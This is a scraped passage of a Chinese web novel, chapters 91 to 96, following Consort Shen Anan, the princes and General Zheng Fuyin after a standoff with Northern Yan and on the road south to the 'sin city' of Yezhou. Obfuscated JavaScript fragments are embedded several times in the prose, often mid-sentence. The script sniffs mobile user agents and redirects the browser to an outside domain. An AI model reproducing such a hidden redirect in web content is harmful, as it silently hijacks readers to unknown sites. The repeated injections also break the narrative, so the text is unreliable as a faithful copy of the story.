赵小高魏大贤、陆诰郑婉婉,他们四人皆是猝不及防。 最先反应过来的是郑扶胤,他举起双手,着急慌忙的朝左边挥挥,又朝右边挥挥。 “误会,都是误会。”他大喊着。 可千军万马的场面,哪方都听不见。 第91章一生只爱一人 贾好人一把就抱住了陆行,他也不管力气有没有陆行的大。 “希崽你可别胡闹,皇后娘娘会扒了你的皮。”贾好人着急慌忙的冲大**说着。 陆言伸出一只小手,捂住了陆行的嘴,吩咐着身旁的大凤凰,“小鸡仔,摁住它。” 希奇刚要仰天叫,被陆言在嘴巴上一巴掌,“不是让你叫。” 它把气全都撒在了希崽身上,一只爪子摁住希崽的头,在地上摩擦。 希崽怎么扑腾都扑腾不掉。 郑婉婉和陆诰反应也是快,退了回来。 赵小高魏大贤则是架着郑扶胤,也马不停蹄的退回到了龙虎军这边。 赵小高翻身上马,拔出火铳,蓄势待发。 郑扶胤“扑通”一声跪在了夜不群跟前儿,“是行儿那臭小子不懂事,不关婉儿的事儿,陛下,婉儿没有要开战的意思。” 魏大贤时刻注意着夜不群的神色。 沈安安也不淡定了,提醒着:“陛下陛下,亦天还没回来呢。” 她抬起一只手,忽上忽下的扇着,似是在缓和气氛,“等他回来再说。” 她一只手扯着赵小高马的尾巴,不能让这**狂冲动。 夜不群摆了摆手,身后龙虎军便撤掉了推出来的大炮。 千军万马瞬间安静下来,至于北燕如何,他全然不放在眼里。 药,还没拿回去给巫马道奇验过呢。 再者,没部署好之前,他也不想跟北燕开战。 不多时,北燕那边的冲锋鼓声也停了。 约莫两刻钟后,两军阵前,夜亦天小小的人儿迈着坚定的步伐,从北燕那边走过来。 他讨厌死陆行了,原本三天的见面,被陆行这么一搞,变成几刻钟了。 他还什么都没来得及问外祖父呢…… 如此想着,夜亦天已经到了夜不群面前,他恭恭敬敬的拱手行礼,“皇叔。” 夜不群瞥都没瞥他一眼,冷声命令着魏大贤和赵小高:“回青州。” 他上了辇车,沈安安牵着两小只麻溜跟上。 八十万龙虎军分列两边,给辇车从中间让出了一条道。 然后,大军齐齐掉转方向,折返回青州大营。 陆诰骑在马背上,用望远镜看着龙虎军的大炮。 密密麻麻,就晃在最后面,好似专门给他看的。 郑婉婉放下望远镜,“按照夜不群这尿性,能拉出来肯定不是最新版的。” 陆诰眉头皱着,“这大炮比上次交战时变化颇多。 更大、更轻了,口径也变大了,火力定是很充足的。” 更让陆诰警惕的是,刚刚只是一瞬间,这大炮已经推出来对准了他们,灵活度已经超乎了他的想象。 郑婉婉自然清楚。 但她此时顾不上这些,只顾着教训陆行了。 “臭小子,你是巴不得你爹娘早死是吧?你怎么敢的?” “一个月,一个月不许见希崽,回去你就给我在宫里好好反省。” 郑婉婉实在是气不过,把人抓过来打屁股。 但打着打着,她就不打了,从小打他就不哭。 贾好人心有余悸,更加坚定要扶持大皇子继位了。 要是让二皇子继位,指不定几天就被灭国了,实在是有勇无谋。 …… 大军开拔回了青州。 星月楼,皇后厢房的书房里。 国师巫马道奇被带了上来,一盆药汤端在他面前,让他好好净了手。 夜不群一个眼神示意,赵小高将两盒药放在桌上。 他一把将巫马道奇从地上提拎起来,摁着坐在了椅子上,“一颗一颗的验,出了半点差错,你也没有活着的必要了。” 巫马道奇点头如捣蒜,认认真真的开始验药了。 夜不群旁若无人的说着:“大贤,神威宝库里的东西,尽全力要多久才能造好。” “回禀陛下,一个半月。”魏大贤回着。 “那就交给你了,造好之后,送来青州配备给龙虎军。 再调二十万凤州军,至叶州驻守,一个月半后同北燕开战。 朕只给你们一个月的时间,必须拿下北燕。”夜不群声音淡淡的。 这绝不是冲动,而是深思熟虑后才决定的。 魏大贤稍有迟疑,一个月的时间,他也不敢打包票。 夜不群不理会他,又吩咐着赵小高:“既然要跟北燕开战,那西边的隐患必须根除。 小高,你带着楚家军,去灭了北戎,凡有助于轩辕的东西,都给朕带回来。” 赵小高直性子,问着:“陛下,那留根 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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如今知道移魂**是假的,他也没必要将人困死在宫里了,那就让沈安安发挥对轩辕帝国最大的价值吧。 他从没想过留一个替身在身边,他一生只爱一人,没有人能代替安乐。 沈安安心里衡量了一番,“可以是可以,那亦天呢?” “早些做完你该做的事儿,你跟他不就团聚了吗?” 夜亦天闻言,双手捏的紧紧的。 第92章毫无套路,只有实话 沈安安领了旨,站起了身。 正要跟夜亦天说话时,赵小高走上前来,一只胳膊夹着夜亦天就带走了。 夜亦天红着眼眶,一双眸子紧紧的盯着沈安安。 这还是沈安安第一次见他这样脆弱的模样,看的她这个后娘心里难受**。 她追在赵小高后面,“没事儿没事儿,我很快就会回来,好好吃饭,好好睡觉。 回京后你就好好的跟莲花、秦嬷嬷在荣华宫玩儿,谁要是敢欺负你,我回来揍死他。” 沈安安声音老大了,这话是说给所有人听的。 夜亦天被赵小高抱的越来越远,他也嘱咐着沈安安,“给你的银票该花就花,某些人天生就没良心,还得靠你自己。” 沈安安点着头。 她还想跟上楼,两名千人斩拦住了她。 夜亦天还在冲她喊着:“沈安安,你要快点回来。” “我很快就回来,很快,很快啊。” 一大一小你一言我一语,听的厢房里的夜不群心情大好。 他挥了挥手让魏大贤也退下,兀自起身来到了皇后卧房。 坐在床榻边,他从楚舒茗手里接过了湿帕子,轻轻握住安乐的手擦着。 “日后你好好照顾皇后,不论结果如何,朕也还你自由。”夜不群一双温柔眼眸,只盯着安乐。 楚舒茗一听这话,心中拔凉。 她费尽心思,才让兄长送她入宫的,什么都没做成,就被遣送出宫,这可不是她要的结果。 楚舒茗跪在地上,“陛下,臣妾这辈子就守着皇后了。 臣妾别无所求,只求陛下别赶走臣妾。” “随你,下去吧。”夜不群风轻云淡的一句。 “臣妾告退。”楚舒茗不敢墨迹,退出了卧房。 夜不群自顾自的开始跟安乐说话,“你要醒着,就能看朕放风筝了。 风筝飞的再高再远,只要引线拿在手中,“她”怎么也逃不掉。” “自由,呵,安乐你也觉得这是很可笑的两个字吧。” 沈安安饭也没吃上一口,就被迫出发了。 跟她一起护送郑扶胤的,是万辛的一千兵马,夜不群这是真放心她啊。 沈安安跟夜亦天分别那一幕,郑扶胤隔着星月楼客栈的大门亲眼看见了。 他对沈安安原本是没什么印象的,但这一次,他却对她改观了。 一个深宫冷院的妃子,做后娘做到这个份上,当真是心善。 夜亦德一直都是闷闷不乐的,平时最喜欢玩的风车,现在也丢到了一旁。 一直想着刚刚分别时的画面,皇兄那么坚强的一个人,刚才都快哭了,他真是舍不得。 沈安安察觉到他的情绪,安慰着:“没事儿的,我们搞快点,很快就能见到你皇兄了。” 马车在八宝楼门前停下。 沈安安把夜亦德留在了马车上,她进到客栈去叫王坡和铁蛋了。 枭龙被铁蛋养的很好。 它一听见沈安安的声音,便率先来到了她跟前儿。 枭龙身上挂着那杆黑枪,沈安安伸手摸了摸枭龙的脸,又摸了摸黑枪。 为了赶路,她让铁蛋和夜亦德坐马车,她则是骑上了枭龙。 王坡另骑了一匹马,跟在她身侧。 枭龙身上的黑枪实在惹眼,郑扶胤一眼就注意到了。 “这杆枪不是俗物啊。”同样骑在马背上的郑扶胤,开口道。 沈安安出声应着,“嗯。” 她本着远离一切危险的原则,懒得跟郑扶胤多话。 她爱答不理,郑扶胤却是纠缠不休。 她都走到最前面了,郑扶胤还追在她身边。 “贵妃娘娘,你看这青州,百姓生活的多幸福啊。 启南可比青州富庶多了,但启南的百姓过的还没青州百姓一半好。 唉,轩辕历代君主都好征战,自建朝以来,几百年间从未停过刀兵。 我们轩辕也该好好休养生息了,不宜开战啊。”郑扶胤说个不停。 这已经是他第八遍说不宜开战了。 沈安安实在听的烦了,“我说你这个人怎么回事儿?没看见我不想跟你说话吗? 这是我说了能算的事儿吗?你咋不在陛下面前说?搞得好像我想打仗一样。” 郑扶胤得到了自己想要的答案,不说话了。 看来陛下是真动了要跟北燕开战的心思,说不得已经做好了准备。 陛下这时候派荣贵妃去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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你再这样你也别骑马了,你去坐囚车吧。” 第93章王八念经 郑扶胤听闻这话,闭嘴了,勒住了马缰绳,让沈安安先走,他则是落在了后面。 经过他这一次进京、乃至来青州这一趟,他发现,轩辕三个皇子里面,就二皇子夜亦德最为仁善了。 太子身份使然,注定了他不能继承大统。 三皇子心思深沉,又从小教养在夜不群身边,行事作风简直跟夜不群如出一辙。 让他继位,轩辕的百姓怕是没好日子过了。 郑扶胤心中如是想着,骑马走在马车旁边,叫着:“殿下。” 这二皇子嘛,毕竟有着李氏几百年簪缨世家的血脉,在诗书礼仪的熏陶下成长,身后是儒家世族。 最主要的是,夜不群对他宠爱有加。 综合各方面考量,支持二殿下才是最明智的选择。 最主要的是他像先皇,当今陛下和先皇手足情深,单凭二殿下这一张脸,众望所归也是指日可待。 郑扶胤心下叹息着:‘唉,就是这二殿下毫无称帝之心,实在叫人头疼啊。’ 头疼归头疼,他开始循循善诱。 “干嘛?”坐在马车里的夜亦德,拿着小风车玩着,稚嫩的声音反问着。 “殿下,如今也不冷了,何不出来看看这一路上的风土人情? 轩辕地大物博,每个地方都很有特色,难得有这样从北到南一路走过去的机会。”郑扶胤道。 王坡时不时就扭头往后看,他是顾了前就没办法顾后。 这郑扶胤一个大将军,怎么就跟狗皮膏药似的,甩都甩不掉? “娘娘,你说这老小子又在干什么?你就不管管?”王坡冲沈安安道。 沈安安不以为然,“管他干什么,只要不来烦我,随便他干嘛。” 沈安安忽地灵光一闪,问着自己感兴趣的话题,“对了,你之前是怎么把人都拢起来自己当土皇帝的?跟我讲讲。” 她倒是把王坡这臭小子的看家本领给忘了。 她是得学学拉拢人心的本事了,要不然独孤军怎么为她所用? “这个问题问得好。”王坡一只手松开缰绳,伸向了沈安安。 “你干嘛?”沈安安当然知道他这是什么意思,装傻充愣道。 等到了云州,还不知道有多少花银子的地方呢,可不能大手大脚。 上一世她行军打仗的时候,统管冲锋军还得掌管粮草,连同他们沈家军的军饷都握在她手里。 她可不是那种花钱无度的人。 “你又没给我个身份,我凭啥跟你说那么多?”王坡也不想要银子,他知晓沈安安是个蠢笨的,不说明白她听不懂。 总不能一辈子当土匪,他本来就是逃到轩辕来的,至今都没个正经身份呢。 跟了沈安安一路,她连个客卿的身份都没给自己,这样长久下去可不是事儿。 “你要什么身份?再说了,我能给你什么身份?荣华宫的管事太监这个身份倒是可以给你。”沈安安认认真真思索了一番才开口。 王坡气的不行,“你看看我,我高大威猛,英俊潇洒,一表人才。 最重要的,我一身的本事,你就让我做个太监?你这也太暴殄天物了吧?” 沈安安刚张嘴,他又道:“你别说了,让我来说。” 沈安安把嘴又合上,就听他道:“这样,你让二殿下叫我一声师父,日后出谋划策的任务,就包在我身上了。 同气连枝的道理,你应该懂的吧娘娘? 要想别人帮你办事,必须得是一条船上的,你得拉我上船,手我伸给你了。” 沈安安也是不做亏本买卖的,她道:“你先跟我说说,怎么笼络人心。 说的好了,我找亦德商量商量。” “唉。”王坡叹息一声,一听她说还要商量,瞬间不想跟她搭话了。 沈安安察觉道,解释着:“别看亦德小,他有自己的想法的,我这做娘的,不能强迫他,我去给你问问。” “不必劳烦娘娘了,我自己去问。”说着,王坡就掉转了马头。 他哪儿能想到,夜亦德道心异常的稳固。 簪缨世家的毛病犯了,他瞧不上王坡。 稚嫩的声音问着:“你知道什么叫四书五经吗?你读过《论语》吗?你知道什么叫孔孟之道吗? 翰林院有那么多的大学士,个个都是学富五车,你文也不行,武也不行。 除了鸡鸣狗盗的那些事儿,还会什么?你凭什么做我师父?” 这话把郑扶胤惹笑了,他倒是也毛遂自荐了,“在下不才,殿下说的这些都倒背如流。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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夜亦德:“够了,我不听我不听,王八念经。” 第94章 罪城 说罢,夜亦德率先进入了行宫。 沈安安冲伤春悲秋的二人道:“你们清高,你们别住。” 说完这句,她也进了行宫。 已经很晚了,郑扶胤和王坡自然也不打算另寻地方,也跟着进了行宫。 行宫里只有为数不多的太监宫女负责打扫。 整座行宫看上去都冷冷清清的。 叶州城,过了这么多年,还是没恢复往日繁华,这都是因为曾经那件事儿。 郑扶胤虽没亲眼所见,但也听说过,那还是发生在太祖时期的事儿,有不少西北的难民逃到启南去。 那是太祖时期,夺嫡最厉害、后果最严重的一次。 “殿下。”郑扶胤加快了步子,追上了夜亦德。 夺嫡,是啊,这是每朝每代都避免不了的。 既然夜亦德无心皇位,那他就想办法激发他内心对权力和巅峰的渴望,夜家人不都是这样的吗? 二殿下长的这么像先帝,想必性子定也是随先帝的,只不过被太妃养在身边久了,被礼教教化了而已。 这样更好,他具备一个君王应有的一切。 那么第一步,就是要让他认清陛下的真实面目。 至于往后如何,再作打算。 郑扶胤快步追到了夜亦德身边,“殿下听闻过叶州城曾经发生的事儿吗?” 夜亦德摇头,“我不想听,你闭嘴。” 郑扶胤又扭头冲沈安安道:“娘娘,你还不知道自己的枕边人到底是个怎样的人吧?” 沈安安有气无力的回着:“我看地网不在,你是不把我当外人啊。 我可是押送你的,你到底有没有弄清楚我跟你的身份?” 夜亦德哼了声,“我看他家是**造上瘾了,明天把他关囚车里去。” “对,明天就把你关囚车里。”沈安安抱起夜亦德,往行宫最高处走去。 春暖花开了,夜空也格外闪亮。 没想到这行宫里还建了一座高高的观景台,刻在石碑上的文字,模糊不清了。 看这样子,像是被人刻意毁掉的。 “啧啧啧,这可真是站在此处,手可摘星辰啊。”沈安安爬到最高处。 有一颗偌大的夜明珠,挂在房梁一角,正对的方向是启东凤州。 那是宇文少蕊的故乡。 “好美啊,住在这里不想走了怎么办?”她问着夜亦德。 夜亦德吃着糕点嘟囔着:“这我也没办法啊母妃,这是皇兄母后的行宫。” “你喜欢的话,等以后到了西南,我给母妃你建一个。” “算了算了,你这种劳民伤财的想法可不许有。”沈安安摆了摆手。 郑扶胤也爬了上来,刚好听见了他们的对话。 他身体还没好利索,爬的自然没沈安安快。 轩辕后宫的嫔妃,向来是不问朝政的。 但他没想到,沈安安这个深宫冷院的妃子,竟能将百姓放在心上。 从沈安安的身上,郑扶胤或多或少看见了自己妹妹的影子。 “娘娘说的对,殿下,劳民伤财的事儿万万做不得。”郑扶胤呼哧呼哧喘着大气。 夜亦德把糕点放了回去,小小的人儿眉头紧蹙着,“长这么大,我还是第一次没胃口。” “母妃,明天开始不歇了,我们快马加鞭把这家伙赶紧送到。” 他真是懒得理郑扶胤。 郑扶胤也不说话了,他知晓凡事都要循序渐进,心急吃不了热豆腐。 登在高处,王坡啃着鸡腿俯瞰整座城,“这虽说是大晚上,可这也还没到宵禁的时候,这叶州城也**静了吧,跟没活人一样。” 沈安安“嗯”了一声。 她光顾着看花看夜空了,倒是没注意到。 她道:“许是干活干累了吧,都睡了。” “娘娘你竟会瞎扯,连由铁县那种小地方,晚上都还会亮几盏灯呢,你看看这叶州。”王坡也是一点儿面子都不给她。 沈安安再一看,“哎呀,好像你小子说的有点儿道理。” “那不然呢?总不能是煤油蜡烛太贵了,点不起吧?”王坡有理有据的反问。 沈安安:“也不是没有这个可能。” 王坡好像也没了胃口,“娘娘,我说陛下咋把你带在身边,原来是安全。” 换句话说,沈安安没脑子。 沈安安一挥手,“管他呢,爱点不点,关我屁事。” “是啊,只要殿下和娘娘吃饱喝足,这叶州城内的百姓如何,与我们何干?”郑扶胤精准的来了一句灵魂质问。 这分明就是在说,老夜家的人不作为。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446826|169421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 夜亦德扭头怒气冲冲的瞪着他,“你放屁。” “母妃,走,我们去看看到底怎么回事儿。 要是他们实在点不起灯,那我们就贴一点给他们。” 说着,他拉着沈安安的手,就往台阶下走。 沈安安不大情愿,“哎呀,还要去看看啊?这才刚歇下来。” “唉~~骑了一天马,屁股疼。” 夜亦德选择性的不理会这句话。 一行四人出了行宫,晃晃悠悠的走在空无一人的街道上。 不知走了多久,可算是逮到了一个年轻小伙子。 只因他是个小偷。 三大一小把人团团围住,小伙子拱手求饶:“大侠们,小的错了,饶命。” 夜亦德问他:“这里的人为什么都不点灯?” “啊???”小伙子发出灵魂一问,“为啥要点灯?” 夜亦德被他问的不会了,“为啥不要点灯?” 沈安安可没耐心,一把将小伙子拎起来,“再给我废话信不信我揍你?” “女侠饶命,我说我说,你们都是外乡来的吧? 夜不点灯是叶州的规矩,这里曾经不是一座罪城嘛,大家都在赎罪。” 小伙子一句话,把沈安安和夜亦德说懵了。 夜亦德后知后觉道:“你胡说八道,我从来没听说过轩辕有什么罪城。 你给我说清楚。” “害,你才多大?事发的时候当今陛下才八岁半,你还没投胎呢。”小伙子主打一个实诚。 夜亦德闻言,“你你你……你放肆,想死是吧?” “怎么?一会儿让说,一会儿又让死,到底是说还是死? 我就偷点东西,抓去官府也就是挨几板子,你们报官吧。” 他干脆往地上一坐。 夜亦德一甩手,哼了声,“你说。” “要说那年,轩辕还叫大启,我也就是个街边乞丐,才六岁。 啧啧啧,要说当今陛下啊,那叫一个狠,和他那被废的太子哥哥,使出了一招又损又毒辣的绝技。 所以,叶州才会变成一座罪城。” 夜亦德:“???” 沈安安:“……” 她一把拎起小伙子,“什么绝技?讲话能不能一次性讲完?” 第95章赐姓 “这位夫人,你急什么?这事儿说来话长,得慢慢说。” “话说那年,当今陛下是御牲房里挤羊奶的下等宫女生的,生的时候头太大,卡了好几天才生下来,导致是个傻子。” “可八岁那年,得仙人指点,开了慧根,一夜之间,学富五车……” “啪”狠狠一个耳光,打在了他脸上。 沈安安举着拳头骂骂咧咧,“你**给我说重点,信不信我抽死你?” 小伙子捂着脸,“你凶什么凶?我说还不行吗?” “那年恰逢太祖皇帝又有废太子的心思,太子急于立功,还是九皇子的陛下就给他出了个主意。 让叶州城的百姓染上鼠疫,然后赶到天缘去,要用鼠疫把天缘十万守城将士弄死。 对了,负责执行这件事儿的,还是先帝的表弟,启西的楚天明楚将军呢。” “现在住在这叶州城里的,都不是曾经的原住民了,是其他地方跑来的难民。 大家都怕那些原住民的鬼魂回来报仇索命,所以一到晚上就家家户户闭门不出,关灯睡觉。” 夜亦德听完,反应最大,“啪”他又是一个耳光,打在了小伙子脸上。 “你们有完没完?”小伙子捂着脸,哭出了声。 “简直胡说八道。”夜亦德要狠狠教训他。 沈安安将亦德拉住,冲他道:“东西放回去,滚。” 小伙子一边呜呜呜,一边翻进了墙。 等他再出来时,沈安安一行四人已经不见了。 回行宫的路上,夜亦德一直都在负气状态,他是绝对不信那个小偷讲的话。 要他的父皇和皇叔真做过这样的事儿,整个朝堂上下,怎么会从来没议论过? 那些言官的嘴,比死鸭子的还硬,这种伤天害理的事儿,他们不得天天挂在嘴上要皇叔每日三省自身? “哼。”夜亦德一脚踹在墙上,“母妃,我要去打死那个口出狂言的贼人。” “算了算了,今天就算了。”沈安安将他抱起来。 郑扶胤却在此时开口,“刚刚那人所言非虚,当时的叶州巡抚,就是如今北燕的丞相贾好人。 叶州城的百姓也确实是死绝了,但并不是死于鼠疫。 当时婉儿他们惨遭流放,途径叶州时救下了他们。” “他们不想当婉儿的拖累,便在雪山上建了个郑家村。 后来千人斩追杀婉儿,他们为了救婉儿,全村惨死在千人斩手下。” “那也是因为你们郑家人才死的,你们是反贼,他们救你们等同谋逆,死不足惜。”夜亦德恨恨道。 说完他也不理会任何人,从沈安安怀里扑腾下来,进殿睡觉去了。 沈安安自是也懒得搭理郑扶胤,追着夜亦德进了殿内,“亦德,亦德。” 殿门关上,郑扶胤和王坡都被关在了门外。 此时王坡心里也犯起了嘀咕,夜亦德今晚的话让他深思熟虑,这福王当真有容人之量吗? 执念太深,也不是好事儿啊。 郑扶胤却是另外一种心情,拉着他聊起了天,“你看,我就说二殿下身上流淌着先帝的血,先帝的性子也是刻在他骨血里的吧?” 假以时日,定是夺储的不二人选。 “你这是引火烧身,别哪天把自己烧死。”王坡并不赞同。 郑扶胤摇了摇头,“古人言:‘死有轻于鸿**,或重于泰山。’用我一条性命,换轩辕将来有一位明君,我死不足惜。” 王坡同他拉开距离,“我看你就是那根**,要死你自己死,别拉上我。” 殿内,夜亦德躺在床榻上,却是翻来覆去睡不着。 他索性坐起来。 殿内点着蜡烛,他裹着被子问沈安安:“母妃,那个贼人和郑将军说的都是真的吗?” 沈安安掖了掖被子,“假的怎样?真的又怎样? 真的也不是你干的,你干嘛自寻烦恼?” “可是……”夜亦德欲言又止。 此事事关天家名声,他怎么可能不在意? 皇叔一直是他崇拜的对象,皇叔怎么能是这种不择手段、心狠手辣之徒? 沈安安:“别可是了,过去发生了什么不重要,重要的是你和亦天以后该如何做。” “好了好了,一个皇朝,有一段至暗时刻很正常。 哪朝哪代坐江山的那个不是踏着尸山血海走过来的?是非功过自有历史去评判。 只要亦天日后做一个爱民 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446827|169421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如子、手段光明的好君王;你做一个体察民情、关爱百姓的好臣子。 那便够了,你改变不了前人,也决定不了后人,你只能做好你自己。” 沈安安轻轻拍着他的背,哄他入睡。 夜亦德一双圆溜溜的眼睛看着她,“母妃,我觉得你还是有智慧的。” 沈安安:“我就当你是在夸我吧,睡吧,哦哦哦。” 赶路一天,大家都疲惫了,躺下没一会儿就睡着了。 翌日天刚亮,沈安安就起来了。 一大一小都想着赶紧把郑扶胤送到地方,连早饭都是边走边吃。 王坡挤进了马车里,他拱手冲夜亦德道:“二殿下,你好歹给我个身份啊。 你现在答应了,去到启南,让郑将军好给我造册登记。” 是了,他来轩辕这么多年了,连个正经身份都没有。 这也是为什么,他只能落草为寇的原因。 铁蛋嚼着馒头,回想着爷爷的话,怯生生的举起手,“殿……殿下,我也需要个身份。” 他和王坡对视一眼,两人都觉得这是个大好的机会,齐齐给夜亦德跪下。 夜亦德想了想,指着铁蛋道:“铁蛋你就做我的亲卫吧,但要换个名字吧?铁蛋太难听了,我也是要面子的。 嗯……以后你就叫……” 铁蛋看他为难,主动开口道:“殿下,要么您给我赐个姓,名字我就单字一个起吧?如何?” “哦,赐个姓。”夜亦德想着,“郑不行,郑字晦气。 宇文也不能要,皇兄听到会伤感的,那你就随我母妃姓沈吧,总不能跟我姓夜吧?” “沈起谢过王爷,王爷千岁千岁千千岁。”铁蛋当时就磕头。 王坡咽了口口水,“这么高规格?那我呢?” “我也要姓沈。” 夜亦德瞥向他,“你姓王姓的好好的,干嘛要改姓?你要不要脸?” “那身份呢?”王坡道。 夜亦德挠头想着,“那……那你就做我的管家吧。 看你猴精猴精的,以后我的王府就交给你打理了。” “管家吗?”王坡若有所思,王爷的管家好像也不错,以后他就是西南的第二把手。 第96章拒绝好意 “好好好,王爷在上,请受本管家一拜。”他也学起了铁蛋。 夜亦德嫌弃道:“你到底会不会拜?说的这都是什么狗屁。” 小小的人儿摆了摆手,示意他起来。 郑扶胤骑着马,就跟在马车旁,里面三人的对话,尽数落在他耳朵里。 看来这王坡和这个刚被赐名为沈起的孩子,身份都不简单啊。 纵观整个轩辕,也就只有他负责的启南,能干这种捏造身份的事儿了。 其他的州府,全都被陛下控制了,户籍造册这种事儿,一般都是归巡抚管的,便是西南也不例外。 只有启南,一切都归他管。 夜亦德这就开始给王坡安排任务了:“既然你是管家了,那这一次你就要给我发挥作用。” “王爷放心,包在我身上。”王坡拍着胸脯保证。 沈安安一个人骑在枭龙背上,没人理她了,她反而觉得无聊没意思了。 手里玩着马鞭。 “停。”她勒住缰绳,停在了一酒家门前。 “休息休息,又不是急着去投胎。”沈安安翻身下马,马鞭戳着郑扶胤。 “该你准备干粮了啊,一路上白吃白喝。” 郑扶胤也翻身下马,“自是可以,娘娘不怕我跑了的话。” 沈安安挥了挥手,坐在了酒家摆在室外的桌子前,“你最好是跑了,自会有人去抓你。” “掌柜的,两斤烧刀子,三斤酱牛肉。” 王坡一听酱牛肉烧刀子,抱着夜亦德从马车上下来,麻溜的来到沈安安对面坐下。 沈安安蹙眉道:“你是属狗的吗?” 王坡把夜亦德放在旁边的凳子上,“娘娘,我也是有身份的人了,你以后跟我说话可要客气一点。” 掌柜的抱着两坛烧刀子出来,给沈安安倒了一碗。 她边喝边问,“什么身份?” 王坡指了指右手边坐下来的铁蛋,“沈起,亲卫。” 他又指了指自己,“我,管家。” 沈安安:“你家王爷都要喊我一声娘,没让你跪着伺候都算对你客气了。 还管家,底下一个人都没有,不就是家丁吗?” 沈安安吸了吸鼻子,牛肉面的香味扑鼻而来,她问着沈起:“沈起是吧?那以后就叫你阿起,牛肉面吃不吃?” 沈起点了点头,“娘娘安排就好。” 她又转身,跑进去点牛肉面了。 不多时,四碗热气腾腾的牛肉面,两盘酱牛肉端了上来。 碗里红油辣子红彤彤的,看着就食欲大增。 沈安安拿起筷子刚要喂进嘴里。 就发现一千护卫眼巴巴的看着,手里是干馒头。 她又放下筷子,冲店家喊着:“掌柜的,再来一千碗,五百斤酱牛肉。” “啊???”掌柜的一脸惊讶,“贵人,我这小店小本经营,没备那么多食材啊。 那那那……那贵人等等,我现在回家去杀牛崽子?” 沈安安挥了挥手,“算了算了,有啥上啥吧,有口热乎的就行。” 掌柜的看了一眼,“贵人,这也坐不下呀。” 沈安安指着护卫们,“端给他们就行。” “得嘞。”掌柜应了一声,挂起了打烊的牌子,着急慌忙去煮面煮汤了。 护卫们齐齐开口:“谢娘娘。” 沈安安喝着酒,“哎,跟我还客气,都是自家兄弟,吃好喝好。” 一千人感动的稀里哗啦,参军这么多年,头一次有贵人拿他们当兄弟看待。 沈安安咂吧着嘴,打了个饱嗝,这掌柜的是个实诚人,不掺水。 吃饱喝足了,她盯着王坡道:“这一路上挺舒服的哇? 还记得我为啥救你命不?现在你该跟我交代清楚了吧?” 这也是沈安安支走郑扶胤的原因,她想起古墓的事儿了。 王坡呛了一口,“咳咳”了好半晌。 “娘娘还记得呢?” “废话。”沈安安道。 王坡压低了声音,“现在还不是动手的时候,再说带你去了你也没人手搞出来。” 沈安安手指向护卫,“我这一条街吃饭的兄弟还不够?” 王坡不以为然,“你知道吗?光是一个陪葬墓,郑皇后用十万大军,挖了多少年。” “再说,你有人家那挥一挥手,全部带走的能力吗? 你不得等那个啥、嘎了,你再跟你那个好大儿筹划筹划? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446828|169421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 夜亦德瞪向他,“管家,我劝你以后说话注意一点儿,你是不是飘了?” 现在皇兄年纪还小,要是皇叔有什么不测,轩辕就完了。 王坡一脸苦哈哈,“我的好王爷,这不是娘娘问的吗?” 沈安安啧了声,“我看那老小子少说都要活到八十岁,算了,你还是帮我想想怎么收编独孤军吧。 你现在不是有身份了吗?现在说。” 王坡竖起两根手指头,“两个字,忽悠。” 沈起这时候开口了,“不好忽悠吧?我听说独孤老将军和他两个儿子,四个副将,是被陛下骗进皇宫乱箭射死的。 而且西南王妃是陛下的姐姐,还生了个小世子呢,独孤家有世子,这怎么好收编?” 王坡看向他,“你一个打铁的,你怎么知道?” “这不是众所周知的吗?轩辕没几个人不知道吧?”沈起头也不抬的说着。 夜亦德点了点头,“确实如此,据我所知也是这样。” 沈安安扶着额头,“哎~~难搞哦。” 王坡看向护卫们,“有什么难搞的?娘娘不是说这些都是你的兄弟吗?” 沈安安:“就算他们愿意去人也不够啊。” 